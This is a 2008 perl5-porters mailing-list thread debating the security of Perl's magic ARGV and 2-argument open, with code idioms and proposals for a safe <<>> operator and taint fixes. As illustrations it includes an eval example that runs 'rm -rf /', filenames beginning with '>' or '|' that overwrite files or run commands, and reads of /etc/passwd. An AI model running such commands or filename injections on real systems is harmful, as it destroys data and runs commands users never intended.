Even so. As far as I can tell from quick inspection, I have 138 programs that make use of <ARGV> in some form or another. And special magic-argv preprocessing, well, that I do *all* the time--quite in keeping with Mark Mielke's wishes for still more magic, which is already there if you but ask for it. These extra magicalities could be even in a module so I could stop writing them. They tend to fall into one of the following areas. And this is a very *frequent* thing, especially the first of the next two examples, as you yourself pointed out: @ARGV = map { /^\.(gz|Z)$/ ? "gzip -dc < $_ |" : $_ } @ARGV; @ARGV = map { m#^\w+://# ? "lwp-request -m GET $_ |" : $_ } @ARGV; And yes, I'm aware of the dollar not being persnicketily correct. I also don't think it matters; I see you didn't care, either. One merely gets an open failure, which isn't even fatal unless you use use warnings FATAL => 'inplace' or some such similar incantation. Those who've not reread perlopentut lately (AHEM) may have forgotten how in there I wrote this nicety: $pwdinfo = ( `domainname` =~ /^(\(none\))?$/ ) ? "< /etc/passwd" : "ypcat passwd |" ; open(PWD, $pwdinfo) || die "can't open $pwdinfo: $!"; Another sort of @ARGV preprocessing involves deciding what to do on an empty one. I have three sorts of strategies I routinely employ, not mutually exclusively: 1) To weed out undesirable files: @ARGV = grep { -f && -T } @ARGV; 2) To default to something other than <&=STDIN on empty @ARGV: @ARGV = (".") unless @ARGV; # recurse on directory @ARGV = <*> unless @ARGV; @ARGV = <*.*> unless @ARGV; @ARGV = <*.[Cchy]> unless @ARGV; @ARGV ||= grep { / \. (?: jpe?g | tiff? | nef ) $ /ix } <*.*>; chomp(@ARGV = <STDIN>); # possibly with $/ set to chr(0) 3) To warn the user that you're going to use "-" so they don't wonder what's happening when nothing does: if (@ARGV == 0 && -t STDIN && -t STDERR) { # maybe omit -t STDERR print STDERR "[$0: reading from stdin...]\n"; } On BSD systems, I always "stty status ^t", which helps here, but most people don't know to hit ^T when they seem hung. Here I demo doing so: % tcgrep foo tcgrep: reading from stdin load: 0.96 cmd: perl 28 [runnable] 0.16u 0.05s 0% 547k 0x3c021000 fdr_wait 15 -c--RW---f 0000 main load: 0.96 cmd: perl 28 [runnable] 0.16u 0.05s 0% 549k 0x3c021000 fdr_wait 15 -c--RW---f 0000 main load: 0.96 cmd: perl 28 [runnable] 0.16u 0.05s 0% 549k 0x3c021000 fdr_wait 15 -c--RW---f 0000 main load: 0.77 cmd: perl 28 [runnable] 0.16u 0.05s 0% 549k 0x3c021000 fdr_wait 15 -c--RW---f 0000 main As I said, these @ARGV mungings aren't mutually exclusive, making a sequence like this one perfectly reasonable: if (@ARGV == 0) { if (-t STDIN) { @ARGV = <*>; # default to all nondot-files in cwd } else { chomp(@ARGV = <STDIN>); # get filename list from stdin } } # figure out which need pipe processing, and what kind @ARGV = map { m#^\w+://# ? /\.(gz|Z)$/ ? "lwp-request -m GET $_ | gzip -dc |" : "lwp-request -m GET $_ |" : /\.(gz|Z)$/ ? "gzip -dc < $_ |" : $_ } @ARGV; # and finally winnow out the non-text files @ARGV = grep { /\|\z/ || /^-\z/ || (-f && -T) } @ARGV; If you feed an @ARGV or <STDIN> like this: /etc - /etc/passwd /tmp/.X11-unix/X0 foo.gz http://somewhere.com/path/to/foofile.gz /etc/motd /dev/tty /tmp/fifo ~/.exrc It will dutifully transform that mess into the following clean files, all ready for <> processing: - /etc/passwd gzip -dc < foo.gz | lwp-request -m GET http://somewhere.com/path/to/foofile.gz | gzip -dc | /etc/motd /home/tchrist/.exrc Which I think is the very sort of WYSIWIG magic that Mark Mielke was hoping for. As I've shown, it's not tough code to write, and it's already supported in Perl. Has been for quite a while, in fact. Isn't that cool? About using the input operator for fileglobbing, not just for readlining, this occurs in some fewer of my programs, only around 30, not over 100 the way <ARGV> processing does. Here's a sort -dfu'd list of such: @ARGV = <*>; @ARGV = tsort(<*>) unless @ARGV; @catfiles = <${dir}/cat[12368l]/${arg}.*>; chown($<, -1, <*>) defined $opt_newmanifest ? $opt_newmanifest : "<*>", @dirs = grep {-d && $cwd !~ /${_}$/ } <*>; $ENV{MAIL} = <~tchrist/Mail/in.coming/personal>; @files = (@required, <*.pl>); for $file ( <*.pl> ) { for $need_perl (reverse sort </usr/local/bin/perl* /usr/bin/perl*>) { foreach $catdir ( <cat*> ) { foreach $chapdir ( <chap??> ) { foreach $dir ( <man?*> ) { foreach $lock ( </usr/spool/uucp/LCK..*> ) { foreach $mbox ( <*> ) { if ( (@name = <${fullpath}*>) && "@name" !~ /\*$/ ) { $incpath = <~/Mail/outpostbox>; $logfile = shift || <~/logs/www/access_log>; <~/.netscape/history.db> page: foreach $page (<*.*>) { print sort {$a <=> $b} <[0-9]*>; while (<*.*>) { There is an unhealthy prescriptivist and alarmist spirit haunting us in this matter, and I'm increasingly concerned its pesterful stridency may eventually wear people down enough to overrule good sense and previous fair practice. Breaking people's programs is a good way to drive them away, and that is never a good thing. For v5.10, I had to update a couple of old programs that used $* because when they were written, ONE HAD NO CHOICE. I don't think I've had to do that since open(log, ">>/tmp/foolog") stopped working. Do you REALIZE how very long ago that was? Almost nobody reading this list remembers then. That's how long it's been since we screwed people around. Why in the world the anally-confused should want to do so again, and so soon, I completely fail to understand. The thought of updating triple-digit numbers of my happily running scripts that certain individuals would just as well see broken is really beyond the conscionable--or its promulgators, conscientiousness. The only thing I long for right now is Rafael's currently nonworking inspiration of "<:utf8 someutf8file" or "<:crlf winfile.txt" and the like. I sure would like that a lot, because it's a bit of a pain otherwise. Running `file` on the input filename to figure out its flavor for processing isn't always as nice as letting the user specify it directly and individually. DWIM may be one thing, but DWIS should always overrule it. I wonder whether we shouldn't have some ARGV:: modules or dwimmer:: pragmata that help run, or not run, these convenient transforms on @ARGV, the way we already have for Getopt::this_and_that, which all update @ARGV per expectation. The anaylsayers can have their "no dwimmer::ARGV;" if they want thent to dispell the dweomer, and then blissfully leave the rest of us--and our code!--in peace. Yes, I know I yet owe a cogent explanation detailing why the sound and fury of the alarmicists is both uncalled for and unrealistic. Even worse, coddling to their demands through appeasement may even seduce them into a dangerously unmerited sense of complacency, an illusion of false security where none such exists. I *do* have that argument ready for elaboration and exposition, but while it is shorter than this missive, that's really quite enough for tonight. Good night. --tom
CC: Tom Christiansen <tchrist [...] perl.com>, mjd [...] plover.com, Perl5-Porteros <perl5-porters [...] perl.org>, Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 09:29:13 +0200
To: Mark Mielke <mark [...] mark.mielke.cc>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 706b
On Tue, Jul 29, 2008 at 01:08:21AM -0400, Mark Mielke wrote: Show quoted text
> > If I want to write a secure application, I'm not sure I would choose > Perl. If I did use Perl, or any other language, I would expect to have > to put in effort and have a clue.
I wouldn't expect anyone to write a non-trivial secure application without having to put in effort and having a clue. Regardless of the language. But if you think this is an important issue, wouldn't it make much more sense to teach people RIGHT NOW that they shouldn't rely on while (<>) automatically open files for them, then to wait a couple of years before 5.12 is released, and then a few more years before everyone has upgraded to 5.12? Abigail
CC: mjd [...] plover.com, perl5-porters <perl5-porters [...] perl.org>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 11:00:49 +0200
To: "Glenn Linderman" <perl [...] nevcal.com>
From: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Download (untitled) / with headers
text/plain 1.6k
2008/7/29 Glenn Linderman <perl@nevcal.com>: Show quoted text
> On approximately 7/28/2008 11:38 AM, came the following characters from the > keyboard of Mark Dominus:
>> For example, I have a program that generates reports from my web server >> logs which begins: >> >> #!/usr/bin/perl -lan >> BEGIN { for (@ARGV) { >> if (/\.gz$/) { >> $_ = "gzip -dc $_ |"; >> } >> } >> } >> ...
I've written code like that too... Show quoted text
> Nary a "while(<>)" in sight in that code snippet. I guess you are > preprocessing real file names in preparation for a later "while(<>)"?
No, Mark is using -n. As Ed was saying before, -n and -p are magic enough to use the unsafe form by default. Show quoted text
> Have you shared that code with anyone? If so, how do you protect them from > overwriting their file "boo.gz" when they also have a file ">boo.gz" in the > same directory, and invoke your program with > > "mark's script" * > > I'm sure it is quite safe in your web server environment, which doesn't have > such names, and is secure from having such names created therein, but you > shouldn't assume your customers are so lucky. > > So programs such as your sample snippet would need an extra line > > use magic_argv 'pipes'; # or something similar > > to continue working if the change is made in the scope of the "while(<>)" > statement.
or replace while(<>) by while(<<>>). Both of which are backwards-uncompatible, unless some magic_argv.pm is put on CPAN, that does nothing on 5.10.x and below. -- Backwards compatibility is often incompatible with security. -- Bruce Schneier, http://www.schneier.com/blog/archives/2006/08/technological_a_1.html
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 10:05:10 +0100
To: perl5-porters <perl5-porters [...] perl.org>
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 471b
Rafael Garcia-Suarez wrote: Show quoted text
>backwards-uncompatible, unless some magic_argv.pm is put on CPAN, that >does nothing on 5.10.x and below.
It doesn't have to do nothing. As already discussed, it could actually work on all versions, providing a lot of configurability regarding which magic gets applied. We can write this now, and encourage all users to explicitly say which magic they want. Only the default behaviour would then vary according to perl version. -zefram
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 10:08:50 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 3.6k
Abigail <abigail <at> abigail.be> writes: Show quoted text
>>>I've always been a bit uncomfortable with the current magical behaviour, >>>and that's why I tend to favor a non-compatible change.
Show quoted text
> - Programs that were written pre-5.12 that rely on while (<>) to be > 2-arg open will silently fail to work correctly when run with a > post 5.12 perl.
Correct. I think they are a small number of programs relative to the large number that 'rely' on while (<>) to just read some files - but this just an educated guess, not something I can prove. However, the bug introduced will be a fairly benign one: 'file not found' when trying to use a magic filename. Whereas the bug of running an external command or overwriting a file given certain filenames is a much more serious bug IMHO. Show quoted text
> - Programs that wouldn't use while (<>) pre-5.12 (because they might > run in an environment where file names may start with '|' or '>') > will use 3-arg "safe" while (<>), will be, silently, a security > issue when run with a pre-5.12.
Yes, I can see this is something to worry about. A conscientious programmer could make a program that reads some files, but when someone else runs it on an earlier perl version it becomes a risk. However, if you think this is bad (and not just 'theoretical') then this implies believing that the status quo is also bad, since code with while (<>) is silently a security issue right now - unless every perl programmer currently using while (<>) has thought about the implications and carefully decided to turn on the magic behaviour, which seems unlikely. The essential issue is to separate the operator for reading files from the operator for doing magic. I propose that 5.12 have two filehandles: SAFE_ARGV reads the files given MAGIC_ARGV might read the files, or do other fun things Then there are three syntactic sugar pills: <> <ARGV> <<>> The choice to be made is either (A) maximum compatibility: <> means <MAGIC_ARGV> <ARGV> means <MAGIC_ARGV> <<>> means <SAFE_ARGV> or (B) safety by default: <> means <SAFE_ARGV> <ARGV> means <SAFE_ARGV> <<>> means <MAGIC_ARGV> Show quoted text
>If you make "while (<<>>)" to be 3-arg open, then at least such programs >will fail to compile when run with a pre-5.12 perl.
Yes. Code using <SAFE_ARGV> explicitly would also fail to compile with pre-5.12. Suppose there are three kinds of programmer: 1. A programmer who wants to read some files, who knows about the <> controversy, and wishes to be sure his code is always safe (even at the expense of not running on older perls). 2. A programmer who knows about magic ARGV processing and wants to use it. 3. A programmer who is not aware of the pitfalls but just wanted to read files. Here is the code written by each programmer in scenario (A) or (B): 1 2 3 A <<>> or <SAFE_ARGV> <> or <MAGIC_ARGV> <> B <SAFE_ARGV> <<>> or <MAGIC_ARGV> <> Under both your proposal (A) and mine (B) the paranoid programmer would be able to write code that fails to run under old perls. And under both proposals the programmer who wants magic would be able to get it. The only real difference is what happens to programmer 3. In scenario A his or her code remains unsafe under both old and new perls. In scenario B the code is unsafe when run under old perls but correct for 5.12. I agree it is not ideal to have a caveat for <> saying 'this will do potentially dangerous things under older perl versions, so watch out'. But that is a big improvement on having it do dangerous things under the version you are running now. -- Ed Avis <eda@waniasset.com>
CC: perl5-porters [...] perl.org
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 12:34:34 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 3.4k
On Tue, Jul 29, 2008 at 10:08:50AM +0000, Ed Avis wrote: Show quoted text
> Abigail <abigail <at> abigail.be> writes: >
> >>>I've always been a bit uncomfortable with the current magical behaviour, > >>>and that's why I tend to favor a non-compatible change.
>
> > - Programs that were written pre-5.12 that rely on while (<>) to be > > 2-arg open will silently fail to work correctly when run with a > > post 5.12 perl.
> > Correct. I think they are a small number of programs relative to the > large number that 'rely' on while (<>) to just read some files - but > this just an educated guess, not something I can prove. > > However, the bug introduced will be a fairly benign one: 'file not > found' when trying to use a magic filename. Whereas the bug of > running an external command or overwriting a file given certain > filenames is a much more serious bug IMHO.
Indeed, it will not be completely silent, it will issue a runtime warning. The program will still run, and even continue to run after the warning has been issued. Show quoted text
> > - Programs that wouldn't use while (<>) pre-5.12 (because they might > > run in an environment where file names may start with '|' or '>') > > will use 3-arg "safe" while (<>), will be, silently, a security > > issue when run with a pre-5.12.
> > Yes, I can see this is something to worry about. A conscientious > programmer could make a program that reads some files, but when > someone else runs it on an earlier perl version it becomes a risk. > > However, if you think this is bad (and not just 'theoretical') then > this implies believing that the status quo is also bad, since code > with while (<>) is silently a security issue right now - unless every > perl programmer currently using while (<>) has thought about the > implications and carefully decided to turn on the magic behaviour, > which seems unlikely.
Not quite. If security is an issue, I think the safest way is to tell people *NOW*. Patch the documentation if you think it's not clear enough. Write articles on Perlmonks. Send errata to book publishers. Speak at a conference. Surely that would beat waiting for everyone to upgrade to 5.12. Show quoted text
> The essential issue is to separate the operator for reading files from > the operator for doing magic. I propose that 5.12 have two > filehandles: > > SAFE_ARGV reads the files given > MAGIC_ARGV might read the files, or do other fun things > > Then there are three syntactic sugar pills: > > <> > <ARGV> > <<>> > > The choice to be made is either (A) maximum compatibility: > > <> means <MAGIC_ARGV> > <ARGV> means <MAGIC_ARGV> > <<>> means <SAFE_ARGV> > > or (B) safety by default: > > <> means <SAFE_ARGV> > <ARGV> means <SAFE_ARGV> > <<>> means <MAGIC_ARGV> >
> >If you make "while (<<>>)" to be 3-arg open, then at least such programs > >will fail to compile when run with a pre-5.12 perl.
> > Yes. Code using <SAFE_ARGV> explicitly would also fail to compile > with pre-5.12.
No, it doesn't. Not even with strict. With warnings on, it's likely to issue a warning (unless SAFE_ARGV happens to be defined), but it's not a compile time error: $ perl -Mstrict -wE 'while (<SAFE_ARG>) {say} END {say "End"}' Name "main::SAFE_ARG" used only once: possible typo at -e line 1. readline() on unopened filehandle SAFE_ARG at -e line 1. End $ You'd be better off to make it a feature; using the feature will prevent the code from running on older perls. Abigail
CC: <perl5-porters [...] perl.org>
Subject: FW: Alarums and Excursions (was [perl #2783] Security ofARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 11:40:02 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 671b
Abigail wrote: Show quoted text
>>Code using <SAFE_ARGV> explicitly would also fail to compile >>with pre-5.12.
> >No, it doesn't.
You're right. (Why doesn't use strict check for filehandle names?) Show quoted text
>You'd be better off to make it a feature; using the feature >will prevent the code from running on older perls.
Is it possible to backport features via a CPAN module? -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: perl5-porters [...] perl.org
Subject: Re: FW: Alarums and Excursions (was [perl #2783] Security ofARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 12:50:44 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 625b
On Tue, Jul 29, 2008 at 11:40:02AM +0100, Ed Avis wrote: Show quoted text
> Abigail wrote: >
> >>Code using <SAFE_ARGV> explicitly would also fail to compile > >>with pre-5.12.
> > > >No, it doesn't.
> > You're right. (Why doesn't use strict check for filehandle names?)
Because that would make it harder to write: open F, "foo bar"; while (<F>) { ... } Show quoted text
>
> >You'd be better off to make it a feature; using the feature > >will prevent the code from running on older perls.
> > Is it possible to backport features via a CPAN module?
'say' existed as a CPAN module long before 5.10 was there. (Perl6::Say, IIRC). Abigail
CC: <perl5-porters [...] perl.org>
Subject: RE: FW: Alarums and Excursions (was [perl #2783] SecurityofARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 11:52:01 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 684b
Abigail wrote: Show quoted text
>>>You'd be better off to make it a feature; using the feature will >>>prevent the code from running on older perls.
>> >>Is it possible to backport features via a CPAN module?
> >'say' existed as a CPAN module long before 5.10 was there. >(Perl6::Say, IIRC).
I thought by 'feature' you meant as in 'use feature'. Or is that the wrong way to do it? -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
Subject: Re: Alarums and Excursions (was [perl #2783] Security ofARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 13:12:19 +0200
To: Abigail <abigail [...] abigail.be>, perl5-porters [...] perl.org
From: Moritz Lenz <moritz [...] casella.verplant.org>
Abigail wrote: Show quoted text
> If security is an issue, I think the safest way is to tell people *NOW*. > Patch the documentation if you think it's not clear enough. Write articles > on Perlmonks. Send errata to book publishers. Speak at a conference. > Surely that would beat waiting for everyone to upgrade to 5.12.
I think they don't conflict: patch the docs for 5.8.9 and 5.10.1, and the code for 5.12. The problem with informing the people out there is that you don't reach the bulk of perl programmers. Most aren't involved in the community at all, don't read perlmonks, don't read use.perl.org, don't attend conferences. That's easy to forget for somebody who is active in the community and meets all those people who are active as well. Hell, if they know about basic use of <> already they won't read the documentation again, even when they upgrade to the next perl version. (I programmed in perl for about 3 or 4 years before having any contact to the community. And I didn't know about ARGV's magic. During $work I made contact with a few other perl programmers in similar circumstances). Moritz
CC: perl5-porters [...] perl.org
Subject: Re: FW: Alarums and Excursions (was [perl #2783] SecurityofARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 13:44:16 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 551b
On Tue, Jul 29, 2008 at 11:52:01AM +0100, Ed Avis wrote: Show quoted text
> Abigail wrote: >
> >>>You'd be better off to make it a feature; using the feature will > >>>prevent the code from running on older perls.
> >> > >>Is it possible to backport features via a CPAN module?
> > > >'say' existed as a CPAN module long before 5.10 was there. > >(Perl6::Say, IIRC).
> > I thought by 'feature' you meant as in 'use feature'. Or is that the wrong way to do it?
I think we are misunderstanding each other. And now I no longer know what you are asking. Abigail
CC: <perl5-porters [...] perl.org>
Subject: RE: FW: Alarums and Excursions (was [perl #2783]SecurityofARGV?using 2-argument open)
Date: Tue, 29 Jul 2008 12:48:10 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 839b
I thought you were suggesting something like use feature 'diamond_is_safe'; if the existing default behaviour of <> is kept, or use feature 'diamond_is_magic'; if <> is changed to be safe by default. 'use'ing either of these features would prevent the code running on older perls. I asked, is it possible for a CPAN module to provide a 'feature' for older perl versions? So that if the module is installed, 'use feature X' loads the module and turns on that feature, even though perl doesn't have it builtin? -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: "Mark Mielke" <mark [...] mark.mielke.cc>, "Tom Christiansen" <tchrist [...] perl.com>, mjd [...] plover.com, Perl5-Porteros <perl5-porters [...] perl.org>, "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 08:04:30 -0500
To: Abigail <abigail [...] abigail.be>
From: "David Nicol" <davidnicol [...] gmail.com>
Download (untitled) / with headers
text/plain 254b
Whoever is compiling the module of handy preprocesses for ARGV may wish to consider BEGIN { @ARGV = map "< \Q$_\E" @ARGV } as in cat <<EOM > SafeMagicalFootball.pm package SafeMagicalFootball; sub import { @ARGV = map "<\Q$_\E" @ARGV } 1; EOM
CC: "David Nicol" <davidnicol [...] gmail.com>, Abigail <abigail [...] abigail.be>, "Tom Christiansen" <tchrist [...] perl.com>, mjd [...] plover.com, Perl5-Porteros <perl5-porters [...] perl.org>, "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 14:26:44 +0100
To: "Mark Mielke" <mark [...] mark.mielke.cc>
From: "Hashin P" <hashin_p [...] thbs.com>
Download (untitled) / with headers
text/plain 888b
What do \Q and \E stand for? On Tue, Jul 29, 2008 at 2:22 PM, Mark Mielke <mark@mark.mielke.cc> wrote: Show quoted text
> David Nicol wrote: >
>> Whoever is compiling the module of handy preprocesses for ARGV may >> wish to consider >> >> BEGIN { @ARGV = map "< \Q$_\E" @ARGV } >> >> as in >> >> cat <<EOM > SafeMagicalFootball.pm >> package SafeMagicalFootball; >> >> sub import { @ARGV = map "<\Q$_\E" @ARGV } >> >> 1; >> EOM >> >>
> > It's a good thought that those who are very concerned about <> can use an > ARGV preprocessor. Unfortunately, you're suggestion doesn't work. :-) > > Specifically, \Q...\E will prefix certain characters with '\', and this > will make it impossible to represent file names with the same special > characters (the theoretical filenames with '|', '<' or '>') but that are not > escaped in the file name. > > Cheers, > mark > > -- > Mark Mielke <mark@mielke.cc> > >
CC: Perl5-Porteros <perl5-porters [...] perl.org>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 09:20:28 -0500
From: "David Nicol" <davidnicol [...] gmail.com>
Download (untitled) / with headers
text/plain 523b
On Tue, Jul 29, 2008 at 8:22 AM, Mark Mielke <mark@mark.mielke.cc> wrote: Show quoted text
> Specifically, \Q...\E will prefix certain characters with '\', and this will > make it impossible to represent file names with the same special characters > (the theoretical filenames with '|', '<' or '>') but that are not escaped in > the file name.
phooey. Prefixing < takes care of opening and reading files with pipes and so on in them, but leading/trailing space seems impossible to represent with a 2-arg open. -- Cheer up, sad person
CC: Perl5-Porteros <perl5-porters [...] perl.org>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 16:32:21 +0200
To: David Nicol <davidnicol [...] gmail.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 855b
On Tue, Jul 29, 2008 at 09:20:28AM -0500, David Nicol wrote: Show quoted text
> On Tue, Jul 29, 2008 at 8:22 AM, Mark Mielke <mark@mark.mielke.cc> wrote:
> > Specifically, \Q...\E will prefix certain characters with '\', and this will > > make it impossible to represent file names with the same special characters > > (the theoretical filenames with '|', '<' or '>') but that are not escaped in > > the file name.
> > phooey. > > Prefixing < takes care of opening and reading files with pipes and so > on in them, but leading/trailing space seems impossible to represent > with a 2-arg open.
It has been documented for a long, long time how to solve this: my $file = " hello "; open my $fh, "< ./$file\0"; Granted, "\0" is a bit of an oddity, but it is possibly. And you don't need sysopen. I think the current documentation is in perlopentut. Abigail
CC: Perl5-Porteros <perl5-porters [...] perl.org>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 10:01:39 -0500
From: "David Nicol" <davidnicol [...] gmail.com>
Download (untitled) / with headers
text/plain 509b
On Tue, Jul 29, 2008 at 9:32 AM, Abigail <abigail@abigail.be> wrote: Show quoted text
> > It has been documented for a long, long time how to [handle leading/trailing space in 2-arg open]: > > my $file = " hello "; > open my $fh, "< ./$file\0"; > > > Granted, "\0" is a bit of an oddity, but it is possibly. And you don't > need sysopen.
so would $_ = (m|^/| ? "< $_\0" : "< ./$_\0") for @ARGV; work as a football safety device, inserted into the execution process at the appropriate time (i.e. after getopts)?
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 20:59:46 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 1.3k
Hi Tom, * Tom Christiansen <tchrist@perl.com> [2008-07-29 05:40]: Show quoted text
> The thought of updating triple-digit numbers of my happily > running scripts that certain individuals would just as well see > broken is really beyond the conscionable--or its promulgators, > conscientiousness.
do these scripts enable warnings? * Abigail <abigail@abigail.be> [2008-07-28 21:30]: Show quoted text
> - Programs that wouldn't use while (<>) pre-5.12 (because they > might run in an environment where file names may start with > '|' or '>') will use 3-arg "safe" while (<>), will be, > silently, a security issue when run with a pre-5.12. > > If you make "while (<<>>)" to be 3-arg open, then at least such > programs will fail to compile when run with a pre-5.12 perl.
Exactly. I want to highlight this again: in my opinion, having code that is safe under 5.12 (or 5.10.1 or whenever) not silently become unsafe under 5.10.0 or earlier is an incontrovertible argument for introducing a new safe diamond-like operator as incompatible syntax. We can discourage the unconsidered use of magic ARGV with a warning. This would be the exact same strategy that C compilers followed WRT `gets`, which it seems to me worked well for C. It also seems to me that the people who are certain enough that they want this feature are also people who won’t shy away from muting a warning. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
CC: mjd [...] plover.com, Perl5-Porteros <perl5-porters [...] perl.org>, Abigail <abigail [...] abigail.be>, Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>
Subject: Taint bug (was: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open))
Date: Tue, 29 Jul 2008 13:39:59 -0600
To: Mark Mielke <mark [...] mark.mielke.cc>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 5.1k
In-Reply-To: Message from Mark Mielke <mark@mark.mielke.cc> of "Tue, 29 Jul 2008 01:08:21 EDT." <488EA5C5.9050500@mark.mielke.cc> Show quoted text
> Tom Christiansen wrote:
Show quoted text
>> [ how to support magical @ARGV better than today ] >> If you feed an @ARGV or <STDIN> like this:
Show quoted text
>> /etc >> - >> /etc/passwd >> /tmp/.X11-unix/X0 >> foo.gz >> http://somewhere.com/path/to/foofile.gz >> /etc/motd >> /dev/tty >> /tmp/fifo >> ~/.exrc
Show quoted text
> Very cool. Obviously, I wouldn't use it in a place where @ARGV > can be passed in via a web page form.
"Obvious", you say. And obvious I suppose it is--to me and thee. But I'm increasingly susiciousness that we two may *not* be common case- examples for adjudging obviousness. That anyone would ever supply commands with untested data coming from a potentially hostile entity isn't obvious. Well, to me. What instead seems obvious is people without competence in security have been inappropriately tasked (or have tasked themselves) to create code beyond their ability. If you don't understand fundamental matters of security but are writing security-related code, at least one tacit problem exists, and probably more. Perl arose in a culture where the security exploits most of us were worried about were those involving trusted code run by untrusted users. Setuid programs (and to a lesser extent, setgid ones) that could be subverted to misbehave were real concerns. They were they were executing at a privilege level distinct (and higher) than people running them. Perl's dataflow-tracing that's engaged in taint mode was a real innovation here. The simple maxim that data taken from outside the program couldn't be used to affect the state of anything outside your program, *transitively*, was and is a great boon. Per its design philosphy, Perl keeps track of things even if you forget to. Combined with indirect execution and automatic memory management, Perl *can* make for a much safer place to write secure code in than C does. That "*can*" is a big one. Just because it can, doesn't mean it does. I once ran a code-review for company that did online Perl training. As part of their course, they'd let the remote type arbitrary Perl code into their text input widgets, than blindly eval it. They'd never heard of taintmode, Safe compartments, per-user chrooting to sandboxes via loopback read-only mounts, nor anything else that they should have been expert in. Incredible, you may say, but perfectly and terrifyingly true. More than once upon showing users the rename/relink/pathedit script, I've had to address loud cries security-cries. You'll remember that this program, at its most basic level, is no more than this: $op = shift; for (@ARGV) { $was = $_; eval $op; die if @_; next if $was eq $_; rename($was, $_) || die "can't rename $was to $_: $!"; } Why were they screaming? Because of the eval. They say, but now people can say % rename 'system("/bin/rm -rf / &")' *.c or some similar mayhem. I then ask them how likely it is that they are ever going to type % /bin/rm -rf / into their own shells, and of course they say, "Never, that would be really stupid." But as you see, there's a misconnect here, because it's no different. Why would a user ever want to hurt himself? If you are the author of the code that you're running, you can trust yourself not to intentionally harm yourself. You don't need a sandbox to protect you. If you are not that code's author, merely its executor, then you do not trust that code, and so you do. If you write code that's run by untrustworthy agents, use and understand taint mode. If you run code that was written by untrustworthy agents, use and understand Safe compartments--at least. To my mind, it's a bug that while(<>) in taint mode doesn't realize that a raw @ARGV from the command line is unsafe. % perl -ne 'print ; exit' /etc/passwd root:*:0:0:Charlie &:/root:/bin/csh % perl -Tne 'print ; exit' /etc/passwd root:*:0:0:Charlie &:/root:/bin/csh Since it knows that that's tainted data: % perl -MDevel::Peek -E '$s = shift; say Dump($s)' /etc/passwd SV = PV(0x3c029038) at 0x3c0398c0 REFCNT = 1 FLAGS = (POK,pPOK) PV = 0x3c022560 "/etc/passwd"\0 CUR = 11 LEN = 12 % perl -MDevel::Peek -TE '$s = shift; say Dump($s)' /etc/passwd SV = PVMG(0x3c035b80) at 0x3c03a8ac REFCNT = 1 FLAGS = (GMG,SMG,pPOK) IV = 0 NV = 0 PV = 0x3c022210 "/etc/passwd"\0 CUR = 11 LEN = 12 MAGIC = 0x3c03c460 MG_VIRTUAL = &PL_vtbl_taint MG_TYPE = 